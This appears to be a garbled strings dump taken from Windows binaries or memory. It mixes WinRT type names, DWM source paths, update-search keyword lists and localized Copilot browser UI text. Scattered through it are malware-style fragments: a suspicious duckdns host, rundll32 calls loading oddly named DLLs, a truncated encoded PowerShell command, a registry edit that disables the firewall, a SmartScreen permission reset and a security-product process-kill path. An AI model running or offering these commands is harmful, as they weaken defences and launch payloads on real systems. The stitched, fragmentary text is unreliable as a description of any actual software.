<ConfigureServices>g__GetDefaultWindowsUpdateStatusService_15|7_15Z<ConfigureServices>g__GetHardwareInfo_16|7_16~<ConfigureServices>g__GetInstalledTencentProductStorage_17|7_17|<ConfigureServices>g__GetInstalledUnpackagedAppStorage_18|7_18l<ConfigureServices>g__GetTileCollectionService_19|7_19t<ConfigureServices>g__GetInstalledWUProductStorage_20|7_20l<ConfigureServices>g__GetPackageCatalogService_21|7_21l<ConfigureServices>g__GetPackageManagerService_22|7_22j<ConfigureServices>g__GetLocalSettingsFactory_23|7_23r<ConfigureServices>g_
$MicrosoftWindows.Client.Core_cw5n1h2txyewy!Settings
9MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.+
windowsdefender
32^com.microsoft.windows.e
.?AU?$producer_convert@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$delegate@UPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_7e7a26da47dff7b0d2ec2f8ae5761249>@@@impl@winrt@@
.?AU?$implements_delegate@UPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_7e7a26da47dff7b0d2ec2f8ae5761249>@@@impl@winrt@@
.?AUtype@?$abi@UPropertyChangedCallback@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@UXamlMember@implementation@TaskManagerApp@winrt@@V?$tuple@UIXamlMember@Markup@Xaml@UI@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer_convert@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
&ctor@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@U?$IVector@Uhstring@winrt@@@5673@U?$IVectorView@Uhstring@winrt@@@5673@U?$IIterable@Uhstring@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@WindRdmaTail
MaxMidWindowSize
A Windows e`
WindowsFeedback
WindowScrollTop
Found credential with empty passwordReference. The account might be a Windows account
windowsdefendergateway.duck~
)="http://officewindowssecurityfirewallopen.duckdns.org/-
\system32
M#c:\windows\system32
WindowsGetStringRawBuffer
JWindows.Foundation.FoundationContracts
 Windows
WindowsConsumedAlready
                <add name="AspNetWindowsTokenRoleProvider" applicationName="/"
                    type="System.Web.Security.WindowsTokenRoleProvider, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
dsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
>c:\\windows\\sy<
Windows.Networking.XboxLive.XboxLiveEndpointPair
Windows.Networking.XboxLive.XboxLiveEndpointPairTemplate
Windows.Networking.XboxLive.XboxLiveQualityOfServiceMeasurement
Windows.Perception.Automation.Core.CorePerceptionAutomation
Windows.Perception.People.EyesPose
Windows.Perception.PerceptionTimestampHelper
Windows.Perception.Spatial.Internal.CloudSpatialEntityStoreOptions
Windows.Perception.Spatial.Internal.SpatialEntityPredicate
Windows.Perception.Spatial.Internal.SpatialEntityWatcherOptions
content-type: ClipboardSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folderstime: %04d%02
\windows defender advanced threat 
C:/Program Files (x86)/WindowsPowerShell/
C:/Program Files (x86)/WindowsPowerShell/
C:\Program Files (x86)\WindowsPowerShell\
C:/Program Files (x86)/WindowsPowerShell/
C:/Program Files (x86)/WindowsPowerShell/
C:\Program Files (x86)\WindowsPowerShell\
C:\Program Files (x86)\WindowsPowerShell\
C:/Program Files (x86)/WindowsPowerShell/
C:\Program Files (x86)\WindowsPowerShell\
C:\Program Files (x86)\WindowsPowerShell\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
\programdata\microsoft\windows defender advanced threat protection
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
|c:\windows\system32\cmd.exe
| c:\windows\system32\cmd.exe
c:\windows\system32\rundll32.exesamelko.dll,qubonsmtsl
~c:\windows\system32\rundll32.exes3lop1n.dll,plugininit
PDicacls"%systemroot%\\system32\\smartscreen.exe"/reset
@iwshshell3.expandenvironmentstrings("%systemroot%");ifilesystem3.fileexists("c:\windows
 Windows_NT/%lu.%lu.%lu.%lu (
@WindowsL
OnlineIdSystemAuthenticatorForUserOnlineIdServiceTicketRequestservice::enterpriseregistration.windows.net::MBI_SSLs
C:\WINDOWS\system32\cmd.exeC
-outfile'c:\windows
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositionislandsite.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositorcontroller.cpp
onecoreuap\windows\dwm\dcomp\sharedsection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtvisualtreeisland.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtsurfacebindpoint.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionsurfacebrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionbatch.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionscopedbatch.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionsurfacewrapper.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionshape.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiongraphicsdevice.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionvisualsurface.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionvirtualdrawingsurface.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcomponenttransform2d.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiondrawingsurface.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtdrawingsurfacebase.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinsetclip.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\WrtCompositionDrawingSurface.h
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionpropertyset.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionninegridbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtproxyobject.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtexpressionanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtanimationbindingmanager.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\WrtProxyObject.inl
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtexpressionanimationparser.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioninteractionsource.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtanimationhelper.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtconditionalexpressionanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtuiaendpointnotifiercallback.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionanimationtriggerpartner.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositorg.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionroot.cpp
9,onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositionislandenvironment.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtvisualg.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtkeyframeanimator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionmaskbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioncolorgradientstop.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtkeyframeanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionpropertyanimator.cpp
OnecoreUAP\private\Windows\inc\private\compgen\DCompABIAutoGen_Windows.UI.Composition.g.h
onecoreuap\windows\dwm\dcomp\atlassurfacepool.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioneffectfactory.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionpath.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioneffectsourceparameter.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioneffectbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtstepeasingfunction.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiongradientbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositionswapchaing.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteropvisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\VectorBasedCollection.inl
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Shell.Propsys
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.DelayAllocateTLS
System.Windows.Forms.Layout.IArrangedElement.Container
System.Windows.Forms.Layout.IArrangedElement.get_Container
System.Windows.Forms.UnsafeNativeMethods.IOleContainer.LockContainer
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.SelectionContainer
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.get_SelectionContainer
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.GetContainer
WindowsGraphicsWrapper
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
ettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
SOFTWARE\Microsoft\Windows\CurrentVersionS
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsCreateStringReference
WindowsCreateString
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionshapecollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioncolorgradientstopcollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteropcompositor.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisualiterator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisualcollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionobject.cpp
onecoreuap\windows\dwm\dcomp\device.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropdwmcompositor.cpp
M2onecoreuap\windows\dwm\dcomp\dll\kerneltokenfactory.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspritevisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcontainervisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionpathgeometry.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiongeometricclip.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\shapecontainer.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioncontainershape.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionspriteshape.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtlayervisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtshapevisual.cpp
onecoreuap\windows\dwm\dcomp\dynamicpoolset.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtpathkeyframeanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\visualunorderedcollectionimpl.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionlight.cpp
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
windows.hlp`
onecoreuap\windows\dwm\dwmcore\resources\backdropvisualimage.cpp
onecoreuap\windows\dwm\dwmcore\rendering\cpuclippingdata.cpp
onecoreuap\windows\dwm\dwmcore\rendering\drawlistbitmap.cpp
onecoreuap\windows\DWM\dwmcore\common\WatermarkStack.inl
onecoreuap\windows\dwm\dwmcore\engine\visualtreepath.cpp
onecoreuap\windows\DWM\dwmcore\resources\Visual.h
onecoreuap\windows\dwm\dwmcore\engine\precomputecontext.cpp
onecoreuap\windows\dwm\dwmcore\resources\brushrenderinggraph.cpp
onecoreuap\windows\dwm\dwmcore\resources\effectintermediateproducer.cpp
onecoreuap\windows\dwm\dwmcore\resources\windownode.cpp
onecoreuap\windows\dwm\dwmcore\resources\visualtree.cpp
AAA_SystemSettings_MusUpdate_WindowsInsider
-AAA_SystemSettings_MusUpdate_WindowsInsider
=AAA_SystemSettings_MusUpdate_WindowsInsider
YAAA_SystemSettings_MusUpdate_WindowsInsider
Flight Settings|Preview Builds|Insider Settings|windows insider settings|join windows insider program|?
install|autoupdate|fixes|patches|security|updater|updating|Windowsupdate|driver|drivers|firmware|upgrade|installed updates|failed to install|successfully installed|Windows updates|updates were installed|windows update settings|update settings|update history settings|view my update history|view update history|A
automatic|autoupdate|check Windows updates|fixes|patches|security|update|updater|up-dates|updating|Windowsupdate|Wupdater|driver|drivers|windows update settings|upgrade|Windows upgrade|S
"Hrestart options|custom restart|pending restart|schedule restart|windows update restart settings|update restart settings|G
update settings|Windows update settings|Windows update policies|:
$dpause update|stop update|block update|disable update|turn off update|pause windows update|stop windows update|G
$Moptional update|extra update|other update|get updates|driver updates|windows updates|more updates|install updates|download updates|additional updates|manual updates|manual install|B
HWindows Update options
Hautomatic|autoupdate|autoupdates|fix|fixes|patch|patches|security|updates|updater|up-dates|updating|Windowsupdate|Wupdater|upgrade|windows update settings|J
oschedule|automatic|Windows 10 restarts|Windows 11 restarts|upgrade|firmware|security|active hours Windows 10|active hours Windows 11|restart now|auto restart|pending restart|force restart|restart pending|work hours|Windows updates|feature update|finish install|update settings|windows update settings|H
OS=Windows_NT
OS=Windows_NT
Microsoft.Windows.BrokeringFileSystem
api-ms-win-core-windowserrorreporting-l1-1-0.dllpF^
"_MicrosoftWindowsBitLockerDriverCountersProvider_ 
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
WindowsDuplicateString
WindowsTrimStringStart
WindowsTrimStringEnd
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsConcatString
WindowsSubstringWithSpecifiedLength
client.wns.windows.com
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Graphics.D3D11
    name="Microsoft.Windows.onecoreuapshell.propsys"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
Microsoft.Windows.Graphics.DirectWrite
index.windows
windows
ert Windows
ert Windows
ert Windows-Passwuert an, fir dat ze erlaben.Microsoft Copilot prob
ert Windows-Passwuert an, fir dat ze erlaben.Microsoft Copilot w
ert Windows
ert Windows
ert Windows-Passwuert an, fir dat ze erlaben.Microsoft Copilot prob
ert Windows-Passwuert an, fir dat ze erlaben.D
ier erof.Microsoft Copilot erfuerdert Windows 10 oder m
,owindows Y
Windows_Shell_Star:
c:\windows\system32
n flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
der SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
	remove-windowsfeature
windows-defender
}windows9
windows.net,
Digest Authentication for Windows
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaaab0ahqacabzadoalwava
srundll32.exeo-nc:\windows\system32\rundll32.exe\user.dat,updt!%systemroot%\system32\shell32.dll
V}disablefirewallsettingsregadd"hklm\software\policies\microsoft\windowsfirewall\standardprofile"
\system32\
C:\WINDOWS\SYSTEM32\
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\{system32\drivers\360\\.\killprocess
get_ToolWindowStripGapTop
Microsoft.Windows.Health.TestInProduction
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
DeepL.Apps.Windows!
ple 2022\bin.X86_64_WINDOWS\maplewX
.Windows.SecH
obeer het opnieuw.Weet je zeker dat je Copilot wilt verwijderen?Copilot verwijderenWanneer je Microsoft Copilot verwijdert, zijn je apps en widgets die afhankelijk zijn van Copilot niet meer beschikbaar. $1Copilot op de achtergrond uitvoerenCopilot-uitvoering op de achtergrond voor apps uitschakelenCopilot kan niet lezen van en schrijven naar de betreffende gegevensdirectory: $1Je profiel kan niet worden gebruikt omdat het afkomstig is van een nieuwere versie van Copilot. Sommige functies zijn mogelijk niet beschikbaar. Geef een andere profieldirectory op of gebruik een nieuwere versie van Copilot.Je voorkeurenbestand is beschadigd of ongeldig. Copilot kan je instellingen niet herstellen.Copilot laat het je weten als je wachtwoorden ooit zijn gecompromitteerdCopilotVoor de veiligheid moet je je bij Microsoft Copilot aanmelden met het wachtwoord van je apparaat.Microsoft Copilot probeert betaalkaartgegevens weer te geven. Voer je Windows-wachtwoord in om dit toe te staan.Microsoft Copilot probeert wachtwoorden weer te geven. Voer je Windows-wachtwoord in om dit toe te staan.Microsoft Copilot probeert wachtwoorden te kopi
ren. Typ je Windows-wachtwoord om dit toe te staan.Microsoft Copilot probeert wachtwoorden te bewerken. Typ je Windows-wachtwoord om dit toe te staan.Microsoft Copilot wil je wachtwoorden exporteren. Voer je Windows-wachtwoord in om dit toe te staan.Microsoft Copilot probeert wachtwoorden te importeren. Voer je Windows-wachtwoord in om dit toe te staan.Microsoft Copilot wil je Password Manager-gegevens verwijderen. Typ je Windows-wachtwoord om dit toe te staan.Microsoft Copilot probeert bestaande wachtwoorden te vervangen. Typ je Windows-wachtwoord om dit toe te staan.Deze computer beschikt al over een recentere versie van Microsoft Copilot. Als de software niet werkt, verwijder Microsoft Copilot dan en probeer het opnieuw.De installatie is mislukt vanwege een onbekende fout. Als Microsoft Copilot momenteel wordt uitgevoerd, sluit je het en probeer je het opnieuw.Kan dezelfde Microsoft Copilot-versie die momenteel wordt uitgevoerd, niet installeren. Sluit Microsoft Copilot en probeer het opnieuw.De installatie is mislukt vanwege een onbekende fout. Download Microsoft Copilot opnieuw.Microsoft Copilot vereist Windows 10 of hoger.Er is een fout opgetreden in het besturingssysteem tijdens de installatie. Download Microsoft Copilot opnieuw.Er wordt al een bewerking uitgevoerd in Microsoft Copilot. Probeer het later opnieuw.Het installatieprogramma kan het archief niet decomprimeren. Download Microsoft Copilot opnieuw.Het archief van het installatieprogramma is beschadigd of ongeldig. Download Microsoft Copilot opnieuw.Microsoft Copilot is al ge
d"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:SettingsUXHostApp.AppXbcemfss8fnwzwnsjec8qzh0c3jnkn6x0.mcax
Model@WindowsUdk
